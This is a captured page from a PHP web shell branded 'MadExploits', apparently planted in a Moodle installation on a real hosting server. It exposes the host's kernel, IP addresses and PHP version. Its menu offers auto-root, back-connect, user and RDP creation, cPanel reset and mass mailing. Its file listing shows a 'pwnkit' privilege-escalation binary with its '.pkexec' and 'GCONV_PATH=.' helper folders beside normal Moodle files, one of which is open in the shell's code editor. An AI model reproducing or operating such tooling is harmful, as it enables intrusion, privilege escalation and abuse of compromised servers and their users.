Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.126.134
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
classes /
external /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
coursecat_summary_exporter.php
3.63
KB
-rw-r--r--
exporter.php
24.86
KB
-rw-r--r--
paged_content_exporter.php
4.23
KB
-rw-r--r--
persistent_exporter.php
2.91
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
record_userfeedback_action.php
3.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : record_userfeedback_action.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * External API to record users action on the feedback notification. * * @package core * @copyright 2020 Shamim Rezaie <shamim@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\external; defined('MOODLE_INTERNAL') || die(); require_once("$CFG->libdir/externallib.php"); use external_api; use external_function_parameters; use external_value; /** * The external API to record users action on the feedback notification. * * @copyright 2020 Shamim Rezaie <shamim@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class record_userfeedback_action extends external_api { /** * Returns description of parameters. * * @return external_function_parameters */ public static function execute_parameters() { return new external_function_parameters([ 'action' => new external_value(PARAM_ALPHA, 'The action taken by user'), 'contextid' => new external_value(PARAM_INT, 'The context id of the page the user is in'), ]); } /** * Record users action to the feedback CTA * * @param string $action The action the user took * @param int $contextid The context id * @throws \invalid_parameter_exception */ public static function execute(string $action, int $contextid) { external_api::validate_parameters(self::execute_parameters(), [ 'action' => $action, 'contextid' => $contextid, ]); $context = \context::instance_by_id($contextid); self::validate_context($context); switch ($action) { case 'give': set_user_preference('core_userfeedback_give', time()); $event = \core\event\userfeedback_give::create(['context' => $context]); $event->trigger(); break; case 'remind': set_user_preference('core_userfeedback_remind', time()); $event = \core\event\userfeedback_remind::create(['context' => $context]); $event->trigger(); break; default: throw new \invalid_parameter_exception('Invalid value for action parameter (value: ' . $action . '),' . 'allowed values are: give,remind'); } } /** * Returns description of method result value * * @return null */ public static function execute_returns() { return null; } }
Close